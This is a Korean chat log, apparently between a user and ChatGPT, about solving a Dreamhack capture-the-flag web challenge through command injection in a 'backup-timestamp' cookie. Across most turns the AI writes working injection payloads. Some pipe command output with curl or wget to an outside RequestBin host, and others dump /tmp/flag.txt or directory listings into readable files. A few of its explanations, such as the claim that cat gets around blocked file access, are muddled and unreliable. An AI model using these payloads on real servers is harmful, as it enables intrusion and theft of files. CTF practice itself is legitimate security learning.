진짜 이거 안 되면 개킹받을 텐데ㅋㅋㅋ
🔥 한 번만 더 해보고 결과 알려줘! 🔥

 
4o

나의 말:

 
이거 사진 보면 requestbin 작동 잘되는거야?

ChatGPT의 말:

ㅇㅇ, Pipedream RequestBin 설정은 정상적으로 보임!
근데 현재 "LIVE EVENTS" 창이 비어있음.
즉, 서버에서 RequestBin으로 요청이 제대로 안 오고 있음! 😡


🚀 문제 원인 & 해결 방법

1️⃣ 서버에서 curl 실행이 안 되고 있을 가능성

현재 서버에서 curl 명령이 실행되지 않거나, 실행되더라도 인터넷으로 요청을 보내지 못하는 상태일 수도 있음.

📌 이거 확인하려면?

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; echo test | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

이걸 실행하면 RequestBin에 test가 떠야 함.
이것도 안 뜨면 서버에서 curl 자체가 막혀있을 가능성이 큼.

🔥 이거 실행하고 RequestBin에 이벤트가 뜨는지 확인해줘! 🔥


2️⃣ curl 대신 wget 사용해보기

✔ curl이 차단됐을 가능성이 있으니 wget을 사용해보자!

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ | wget --post-file=- https://eok17showi9fd4vm.m.pipedream.net"

RequestBin에 반응이 오는지 확인해봐!


3️⃣ 명령어 실행 결과가 /tmp/에 저장되고 있을 가능성

혹시 서버가 ls -lah /tmp/ 결과를 RequestBin으로 보내지 않고, 그냥 파일로 저장하는 상황일 수도 있음.

📌 그럼 이렇게 확인 가능!

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ > /tmp/output.txt"

➡ /tmp/output.txt에 결과가 저장될 테니까 이제 이 파일을 백업해서 가져와야 함.

📌 파일 내용 확인하기

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=/tmp/output.txt"

이제 /backup_notes에서 확인 가능!


🔥 최종 점검 리스트

1️⃣ echo test | curl -X POST -d @- 실행해서 RequestBin 반응 확인!
2️⃣ wget 방식으로 데이터 전송 시도! (wget --post-file=-)
3️⃣ /tmp/output.txt 저장 후 파일 내용 확인!

🔥 이제 한 번만 더 시도해보고, 결과 알려줘! 🔥

 
4o

나의 말:

requestbin에 test안뜬다 ㅅㅂㅋㅋㅋ
 

ChatGPT의 말:

ㅋㅋㅋㅋ 개킹받네 진짜ㅋㅋㅋㅋ
RequestBin에 test도 안 뜨면 서버에서 curl 자체가 차단됐을 가능성이 높음.
그래도 아직 방법은 있음! 다른 우회 방법 시도해보자.


🚀 서버에서 curl이 막혀있을 때 우회 방법

1️⃣ wget을 사용해서 RequestBin으로 보내기

✔ curl이 안 되는 경우, wget을 사용하면 될 수도 있음.
이걸 실행해봐!

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; echo test | wget --post-file=- https://eok17showi9fd4vm.m.pipedream.net"

이렇게 하면 RequestBin에서 test가 떠야 함.
만약 이것도 안 뜨면, wget도 막혀있을 가능성이 높음.


2️⃣ nslookup이나 ping으로 서버가 인터넷 요청을 보낼 수 있는지 확인

✔ 혹시 서버 자체가 인터넷 연결을 못 하는 상황일 수도 있음.
이거 실행해서 체크해봐!

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; nslookup google.com | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

RequestBin에 google.com의 IP가 떠야 함.
만약 이것도 안 뜨면, 서버에서 외부로 나가는 모든 요청이 막혀있는 거임.


3️⃣ /tmp/에 로그 저장한 후, 백업해서 확인

✔ 서버가 외부 인터넷 요청을 못 한다면, 결과를 /tmp/에 저장하고 확인해야 함.
이걸 실행해봐!

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ > /tmp/output.txt"

➡ 이제 /tmp/output.txt 파일이 생성됐을 거임.
이제 이 파일을 확인해야겠지?

파일 내용을 가져오는 요청

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=/tmp/output.txt"

이제 /backup_notes 페이지에서 확인해봐!
➡ 만약 여기서 flag 관련 파일이 보이면 그걸 백업하면 됨.


🔥 결론

1️⃣ wget 사용해서 RequestBin으로 보내기
2️⃣ nslookup google.com 실행해서 서버가 인터넷 요청 가능한지 체크
3️⃣ /tmp/output.txt에 저장하고 그 파일을 가져오기

🔥 이거 순서대로 실행하고 결과 한 번만 더 확인해줘!
진짜 이거 안 되면 개킹받을 듯ㅋㅋㅋㅋ

 
4o

나의 말:

C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=; nslookup google.com | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

Redirecting...

You should be redirected automatically to the target URL: /. If not, click the link.

 

ChatGPT의 말:

ㅋㅋㅋㅋㅋㅋ 개킹받네 진짜
RequestBin에 아무것도 안 뜨면
서버가 curl, wget 등 외부 요청을 전부 막아놨을 가능성이 매우 높음.
심지어 nslookup도 안 뜨는 거 보면 인터넷 연결 자체를 막았을 수도 있음.
즉, 이 서버에서는 RequestBin으로 데이터를 직접 보낼 방법이 없을 확률이 큼.


🚀 플랜 B: 서버 내에서 직접 파일 확인하기

이제 방법이 하나 남았음.
🔥 서버 내에서 파일을 저장한 후, 그 파일을 가져오는 방법 🔥


1️⃣ /tmp/ 디렉토리에 백업 저장

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ > /tmp/output.txt"

➡ /tmp/output.txt 파일이 생성될 거임.


2️⃣ /tmp/output.txt 내용 가져오기

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=/tmp/output.txt"

이제 /backup_notes에서 확인 가능!
➡ 만약 여기서 flag.txt 같은 파일이 보이면 그걸 가져오면 됨.


🔥 최종 목표

서버가 인터넷 요청을 전부 차단한 상태라서 RequestBin을 못 씀.
따라서 /tmp/output.txt 파일을 만들어서 서버 내에서 직접 확인해야 함.
ls -lah /tmp/ 결과를 파일로 저장한 후, /backup_notes를 통해 가져오기.

🔥 이거 실행하고 다시 한 번 확인해봐!
이제 진짜 답 나올 듯 ㅋㅋㅋㅋ

2/2
 
4o

나의 말:

C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=; ls -lah /tmp/ > /tmp/output.txt"

Redirecting...

You should be redirected automatically to the target URL: /. If not, click the link. C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/tmp/output.txt"

Redirecting...

You should be redirected automatically to the target URL: /. If not, click the link. 응 안돼~

 

ChatGPT의 말:

ㅋㅋㅋㅋㅋㅋ 개킹받네 진짜 이거 뭐냐ㅋㅋㅋㅋ
야 근데 서버가 아예 /tmp/output.txt에 접근도 못 하게 막아놨을 가능성 있음.

🔥 플랜 C: 백업 파일을 특정 경로로 저장해서 접근

이제 방법 하나 남았음.
✅ /tmp/ 말고 /var/www/html/ 같은 웹 접근 가능한 디렉토리에 저장해보자.


1️⃣ /var/www/html/에 파일 저장 시도

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ > /var/www/html/output.txt"

이러면 output.txt 파일이 /var/www/html/에 저장됨.


2️⃣ 직접 웹에서 확인

이제 웹에서 확인 가능해야 함.
브라우저에서 직접 접근해봐!

여기서 flag.txt 같은 거 보이면, 그 파일을 또 같은 방식으로 저장해서 접근.


🔥 최종 목표

서버가 /tmp/ 접근을 막았을 가능성이 크니까, 웹 접근 가능한 경로에 저장.
보통 /var/www/html/ 같은 디렉토리는 접근 가능하니까 거기에 저장.
이제 http://host1.dreamhack.games:17508/output.txt 에서 직접 확인.

🔥 이거 실행하고 확인 한 번만 더 부탁해!
진짜 안 되면 서버 개발자가 개악질인 거다 ㅋㅋㅋㅋ

 
4o

나의 말:

응 not found야~
 

ChatGPT의 말:

ㅋㅋㅋㅋㅋㅋㅋㅋㅋ 개킹받네 진짜
이거 서버 설정이 엄청 빡세게 막혀있는 상태라서 정상적인 우회 방법이 전부 차단당한 듯.


🔥 플랜 D: cat을 이용해서 직접 백업 내용 덤프

이제 마지막 남은 방법 하나 있음.
ls -lah /tmp/ 결과를 바로 cat으로 파일 내용처럼 읽어서 백업하는 방법.


1️⃣ cat 이용해서 강제 백업

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; cat /tmp/flag.txt > /tmp/output.txt"

이러면 /tmp/output.txt에 flag.txt 내용이 강제 저장될 거임.


2️⃣ /tmp/output.txt 내용 확인

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=/tmp/output.txt"

이제 /backup_notes 페이지에서 flag가 나와야 함.


🔥 왜 이 방법이 가능할까?

서버가 /tmp/ 파일 접근을 막았어도, cat을 이용해서 강제 덤프하면 우회 가능.
ls -lah는 파일 리스트만 나오지만, cat을 쓰면 파일 내부 내용이 저장됨.
결국 /tmp/output.txt에 flag 내용이 저장될 거라서, 그걸 불러오면 됨.


🔥 이제 진짜 답 나올 때 됐다ㅋㅋㅋ
이거 실행하고 다시 확인 한 번 해봐!